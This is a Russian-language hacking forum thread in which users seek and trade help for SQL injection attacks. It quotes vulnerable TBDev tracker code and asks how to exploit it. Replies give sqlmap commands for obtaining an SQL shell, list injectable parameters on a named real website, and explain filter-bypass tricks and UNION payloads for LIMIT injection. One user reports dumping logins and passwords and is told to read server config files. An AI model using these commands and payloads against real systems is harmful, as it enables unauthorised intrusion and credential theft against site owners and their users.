Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    Нашел следующие уязвимости в скриптах:
    Торрент-трекеры основанные на TBDev 2.0 YSE
    1.
    Уязвимость позволяет удалённому пользователю сформировать спец. атакующий url адрес и тем самым выполнять произвольный SQL запрос.

    ./announce.php
    Code:
        $snatch_updateset[] = "completedat = $dt"; 
        $snatch_updateset[] = "uploaded = uploaded + $uploaded2";
        $snatch_updateset[] = "downloaded = downloaded + $downloaded2";
        $snatch_updateset[] = "to_go = $left"; 
        $snatch_updateset[] = "port = $port";
        $snatch_updateset[] = "last_action = $dt"; 
    
    2.
    Уязвимость позволяет удаленному пользователю выполнить произвольный SQL запрос в атакуемой системе.
    Уязвимость существует из-за не достаточной проверки входящего параметра code при вводе кода.
    Класс данной уязвимости низкий, по причине, того что воспользоваться ей можно если только на сервере стоит error_reporting не ниже E_WARNING.

    ./bonuscode.php

    Code:
        $res = sql_query("SELECT * FROM bonusgen WHERE pid = '".$s."'"); 
    
    3.
    Не достаточная фильтрация входящих данных дает возможность совершить атаки на файлы rss.php, announce.php, takesignup.php b на другие файлы где используется функция sqlesc(). Это связано с тем что функция sqlesc() экранирует только параметры string. Если же входящие параметры были распознаны как numeric то они не экранируются.

    ./include/functions.php

    Code:
        function sqlesc($value) {
            // Stripslashes
           /*if (get_magic_quotes_gpc()) {
               $value = stripslashes($value);
           }*/
           // Quote if not a number or a numeric string
           if (!is_numeric($value)) {
               $value = "'" . mysql_real_escape_string($value) . "'";
           }
           return $value;
        } 
    
    ./include/functions_announce.php

    Code:
    
        function sqlesc($value) {
            // Stripslashes
           /*if (get_magic_quotes_gpc()) {
               $value = stripslashes($value);
           }*/
           // Quote if not a number or a numeric string
           if (!is_numeric($value)) {
               $value = "'" . mysql_real_escape_string($value) . "'";
           }
           return $value;
        }  
    
    Подскажите, как их можно использовать?
    А может кто знает еще типичные уязвимости этого релиза?
    Спасибо
     
  2. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Скачал актив perl установил денвер.Дайте кто-то ссылку на рабочий exploit для проверки,например в faq.php в Vbulletin. Спасибо.
     
  3. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    в случае если параметр передается явно в GET запросе и именем s, по условию исключаем Error-Based и Union техники то SQL-shell можно будет вызвать:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php?s=1" --technique="BT" --level=5 --sql-shell

    в POST параметре s:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --data="s=1" --technique="BT" --level=5 --sql-shell

    в Cookie параметре s:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --cookie="s=1" --technique="BT" --level=5 --sql-shell

    в Referer:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --p referer --technique="BT" --level=5 --sql-shell

    в User-Agent:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --p user-agent --technique="BT" --level=5 --sql-shell

    в любом добавочном хидере:
    python sqlmap.py -u "http://[твой_сайт]/bonuscode.php" --headers="Accept-Language: fr\nETag: 1%1" --technique="BT" --level=5 --sql-shell

    и т.д.
     
  4. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    \/IRUS
    Большое спасибо, буду пробовать
     
  5. borntobebad

    borntobebad New Member

    Joined:
    23 Mar 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    ne kak ne mogu podobrat union+select , vashe ne chego ne xochet ponimat etot sayt , mojet kto nebud xotabi zacepku podkinut :confused:

    http://www.pixheaven.net/bestof.php?begin=276&entout=12'

    ili

    http://www.pixheaven.net/photo.php?nom=120906_9930-46'
     
    #21905 borntobebad, 5 Mar 2013
    Last edited: 5 Mar 2013
  6. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    что-то я тоже не могу вдуплить :confused:

    просмотрел сайт, вот эти уязвимые к sql-inj параметры:

    Code:
    /bestof.php
    begin 
    entout 
    
    /bestof_us.php
    begin 
    entout 
    
    /blog.php
    begin 
    
    /blog_us.php
    begin 
    
    /livredor_lire.php
    begin 
    
    /livredor_lire_us.php
    begin 
    
    /maj.php
    begin 
    
    /maj_us.php
    begin 
    
    /photo
    nom 
    
    /photo.php
    nom 
    
    /photo_us
    nom 
    
    /publications_site.php
    begin 
    
    /publications_site_us.php
    begin 
    
    /recherche_quoi.php
    Afficher 
    begin 
    entout 
    
    /recherche_quoi_us.php
    Afficher 
    begin 
    entout 
    
    /wallpapers.php
    begin 
    entout 
    
    /wallpapers_us.php
    begin 
    entout 
    
    но ни один не смог раскрутить...
     
  7. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    иньекция в лимите, поэтому ничего и не выходит
     
  8. borntobebad

    borntobebad New Member

    Joined:
    23 Mar 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    kokoy progoy ti naskanil eti dannie ? GhostW
     
  9. borntobebad

    borntobebad New Member

    Joined:
    23 Mar 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    qaz , tak tipo ne-kak ne razkrutit ?
     
  10. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    нетс
     
  11. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Инъекция в Лимите прекрасно крутится.

    Тут правильнее сказать "инъекция в лимите с использованием в запросе order by".
     
    _________________________
  12. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    пацаны, как вы боритесь с ЧПУ?

    GET
    /page/id/5 - normal
    /page/id/6-1 - показывает страницу 5
    /page/id/5'
    уже понятно что всё довольно таки просто.

    НО сраное чпу передаёт плюсы "как есть"
    та же хрень с пробелами, они превращаются в %20
    /**/ - тоже не катит, этот каким-то образом влияет на само правило ЧПУ и параметры уходят не тому скрипту.
     
  13. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Без ссылки, как ты понимаешь, трудно сказать, но попробуй поиграйся с альтернативами пробела.

    %09
    %0D
    %0A

    Ну и не стоит забывать про "безпробельный" вариант запроса, что-то типа:

    select(1)from(users)where(id=1)
     
  14. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    игры с %09 etc ни к чему не приводят. запрос получается таким
    select * from tbl where id=5%0D
    в итоге
    уязвимый параметр находится не в скобках, а значит "безпробельный" тоже не получится.
     
  15. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Это ЧПУ, можно попробовать реализовать так, как делается в REQUEST_URI и подобных случаях - В зависимости от сервера, мы напрямую в запросе(БЕЗ БРАУЗЕРА) без кодирования пробуем передать различные символы - (), TAB, %09, + и т.п. и с их кодированием соответственно и смотрим на то, что получается. Если никакие символы не интерпретируются в их аналоги, а всё лишнее кодируется то инъекцию почти всегда провести невозможно, за исключением некоторых простых случаев.

    Нужно попробовать использовать различные методы кодирования и определить пропускные символы, интерпретацию мультибайтовых кодировок, какие-то непонятные случаи и дальше исходить от этого.
     
    #21915 randman, 6 Mar 2013
    Last edited: 6 Mar 2013
  16. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    Эх, попробовал.....
    происходит редирект на login.php, ни auth ни cookie не помогают
     
  17. ukrpunk

    ukrpunk Member

    Joined:
    31 Oct 2011
    Messages:
    47
    Likes Received:
    14
    Reputations:
    5
    Подскажите..
    Вобщем раскрутил скулю, получил логин|пароль, но подозрительно что пароли хранятся в бд без хеширования, т.е. просто пасс лежит. Беру пары логин|пароль, пробую зайти в админку - нифига :( В чем может быть причина? В бд колонок с логинами\паролями больше нет...
     
  18. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Данные для входа хранятся не в БД, а в файле. Такое часто встречается, смиритесь!
    Если есть права у пользователя БД на работу с файлами и известен пусть к сайту, можете попробовать поискать и почитать файлы конфигов!
     
  19. borntobebad

    borntobebad New Member

    Joined:
    23 Mar 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    BigBear . где прочитать на тему раскрутки лимита ? И еше , тут лимит на SELECT нарисовался , его можно обойти ? ели да то где почитать на эту тему ???
     
  20. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Выдержка со RDOT'а

    В limit, offset
    (в запросе не должен присутствовать order by)

    script.php?par=1,111111111 union select version(),2,3,4--
    script.php?par=111111111 union select version(),2,3,4--
     
    _________________________
Thread Status:
Not open for further replies.